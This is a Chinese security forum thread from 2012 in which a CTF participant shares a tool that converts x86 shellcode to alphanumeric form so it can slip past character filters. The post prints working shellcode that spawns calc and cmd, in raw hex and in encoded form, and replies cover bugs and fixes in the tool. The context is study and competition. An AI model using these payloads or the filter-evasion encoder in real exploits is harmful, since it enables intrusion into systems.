首页
论坛
专栏
课程

[原创]ShellCodeToAscii

2012-10-7 15:32 8762

[原创]ShellCodeToAscii

2012-10-7 15:32
8762
/*
        最近在玩西安电子大学的网络攻防比赛,里面的溢出赛题蛮有意思的,之前没有接触过.
        其中最后一题的FTP溢出题,我写的EXP在我电脑上运行是正常的.可是在朋友的电脑上却失败.
        最终原因,就是因为ShellCode的部分数据的影响.
        最后看到别人有全字符的ShellCode,看起来很酷.(在网上搜了一下,看来源好像是Zwell写的ShellCode.)
        后来拿来研究了一下.

        其代码是分两段解释器.
        都是将字母ShellCode转换成真正的ShellCode.
        以此来绕过截0和其它等限制.

        此代码的解释器用的是老外的.我只是改成MFC了.方便大家 :)  



        ShellCode From:
        EAX
        ECX
        EDX
        EBX
        ESP
        EBP
        ESI
        EDI
        NOP
        [ESP-0x10]
        [ESP-0xC]
        [ESP-0x8]
        [ESP-0x4]
        [ESP]
        [ESP+0X4]
        [ESP+0X8]
        [ESP+0XC]
        [ESP+0X10]
        [ESP+0X14]
        [ESP+0X18]
        [ESP+0X1C]
        [SEH]

        Zwell's ShellCode:
        char szShellCode[]=
        "PZhSSUSX5SSUSH4C0B6RYkA7XA3A7A2B70B7BhTWUQX5TWUQ4c8A7ubi3PI7kQ1W"
        "6W1EV9A84xdeLg3kIUKl3J6DuWNA8wk0kstyzbDKryeyza82vAMdMgMFjKVyBlEC"
        "6aLM1PkaQxMXmC72VL4Oei1YUf1xmfqhh8d2V6ibZ7yCnxTUyelUTCeJ7YOM5HTu"
        "ECIwjOLAkppdMagoJMl5ur69UdyEUysaAR9tG4ksEgaGEIy95zlsrRt2rt6twkhg"
        "JNNBViHbsVE76oDEuUmwBpkanAQU30kavJmiUiqpMQMANIxonAMi5XHibCBnGNFJ"
    "VJ3gGZhZ545BmdPGFoCuFb2mMiegVwvPLaCSyKWtAInpGu4jUxUwNa8c";

        // 这个shellcode好像是打开计算器

        本程序转换前的CmdShell:
        "FC33D2B23064FF325A8B520C8B52148B722833C9B11833FF33C0AC3C617C022C20C1CF0D03F8E2F081FF5BBC4A6A8B5A108B1275DA8B533C03D3FF72348B527803D38B722003F333C941AD03C381384765745075F4817804726F634175EB8178086464726575E2498B722403F3668B0C4E8B721C03F38B148E03D3526878656301FE4C24036857696E455453FFD268636D6401FE4C24036A0533C98D4C240451FFD068657373018BDFFE4C24036850726F63684578697454FF742420FF54242057FFD0";

        // 本程序这个打开的是控制台

        本程序转换后的CmdShell:
        "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylTsxROBP0Pdyo6RqJLKV2dLLKsbDTLKCBThDsHIMaTXTskOgCKpLlulu1sLs2FLepiQJoTMVcjXM2L0OqKOCkMlQZqznkBzDPLKDRD5yJLK0SGLuSZsKOqbvTlK3bPxdCxSNkT210uSZSP3O971nM5So3MQTxBgSUptPPRUL4oqqhuTRRPoqsw145JKmQD8c8u4pd420eBU9rSynkT2et7szSQvNkvlPNnkbRWl4CKCNkb4lNESkcRru8QhquSSEQ9nRlEtgsrHpWsYrNpECdpSyoZrU8e3pmE4UQKNRlutfcQz5UVSO9LMpLtdGtSayoJpRHu5Ps2SuQLKyOKNRlwTC3U82prRpo53bHSuPxbIBTV4KOptetWPkOsdQ4GPaGkOWp"

        */

简单程序,大牛路过~
ShellCodeToAscii.rar

看雪线上公开课第01期《安全编码之SQL注入》,周日下午14:00,提前报名免费参与!

上传的附件:
最新回复 (19)
Vsbat 4 2012-10-7 15:34
2
0
alpha3... http://code.google.com/p/alpha3/

PS: cm6 Post出来没?
uing 2012-10-7 15:40
3
0
CM6胖爷给秒了;
顺便前排膜拜八爷...
半斤八兩 10 2012-10-7 15:52
4
0
算法我不会,没有弄出来哈.
Vsbat 4 2012-10-7 15:59
5
0
我也蔫了。。尼玛第一个就开始做这个题。。结果信心打击到爆。。0分 ⊙﹏⊙b汗
我只看到了4次base64一次MD5。。(嘘。。不算违规吧) 那我也整不出来了
半斤八兩 10 2012-10-7 16:11
6
0
其实我按我的方法也能整出来的.
只是那样出来的KEY就不一样了.大概71+2  
73的长度.

他出的题有BUG的.
uing 2012-10-7 16:35
7
0
其实还有个AES; AES(MD5(A), MD5(B)) == A2096DD3FE74B4EC
Vsbat 4 2012-10-7 16:54
8
0
你想exploit嘛。。。好吧
Vsbat 4 2012-10-7 16:55
9
0
我去 AES。。。。好吧
喵了个咪 2012-10-7 20:56
10
0
AES?……小弟以为那是DES,囧了
占楼看各位大神讨论
HOWMP 1 2012-10-7 20:57
11
0
转换后应该以A字符结束,不然解码的时候会越界

patch后的

ShellCodeToAscii.zip

还有个问题就是最后一个字节老是解密错误,不得不在原shellcode后添加一个NOP才能正常运行
上传的附件:
半斤八兩 10 2012-10-7 21:40
12
0
[QUOTE=HOWMP;1107105]转换后应该以A字符结束,不然解码的时候会越界

patch后的

ShellCodeToAscii.zip

还有个问题就是最后一个字节老是解密错误,不得不在原shellcode后添加一个NOP才能正常运行[/QUOTE]

厉害啊.

这个写的不好的,我没有修改算法.
这个解密有靠概率问题的.
解密到尾部时,不会停止.
会继续解密,只到堆栈中,有出现 0x41, 才会停止解密.

我看过Zwell 大牛的ShellCode写的非常的好.
分两次解密引擎.
没有时间改啦,等有时间我再改吧.

我之所以写这个,是因为溢出题,第四题在虚拟机下有问题,
一开始我以为是字符的原因.刚刚调试分析了半天,
发现,原来是我向FTP SERVER  
send  user and pass 以及 LIST packet 的时候,中间没有sleep
所以溢出失败.
惨痛教训啊.  

这也证明了vm ware 理论速度确实比物理机的理论速度要快.
半斤八兩 10 2012-10-7 21:42
13
0
[QUOTE=HOWMP;1107105]转换后应该以A字符结束,不然解码的时候会越界

patch后的

ShellCodeToAscii.zip

还有个问题就是最后一个字节老是解密错误,不得不在原shellcode后添加一个NOP才能正常运行[/QUOTE]

最后一字节出错,是因为你PATCH了加密后的数据.
等有时间了,我再重写一个解密引擎吧.
snowdbg 6 2012-10-8 08:15
14
0
写得不错, 但是对于新手来讲,还需要多研究原理,傻瓜化的工具会让人懒惰
wqxxrn 2012-10-8 10:21
15
0
傻瓜化的工具会让人懒惰,但也能从此慢慢入门。
知道原理的,大部份还是会自己写来提取的。很少直接网上下载
zgyknight 2012-10-9 16:31
16
0
楼主的背影很好看
无常pl 2 2012-10-15 18:37
17
0
就是DES吧,我用DES逆算出来的数据对啊
暖洋洋 2015-6-14 11:52
18
0
膜拜大神,学习一下了
DCO 1 2019-10-19 13:41
19
0
发现一个bug,当cal esp 或 cal [esp+xx]会错

半斤八兩 10 2020-2-15 04:18
20
0
DCO 发现一个bug,当cal esp 或 cal [esp+xx]会错
好细心
我记得好像还有一个bug 好像是结束要有'Z'字符 太久了 不知道是不是记错了
游客
登录 | 注册 方可回帖
返回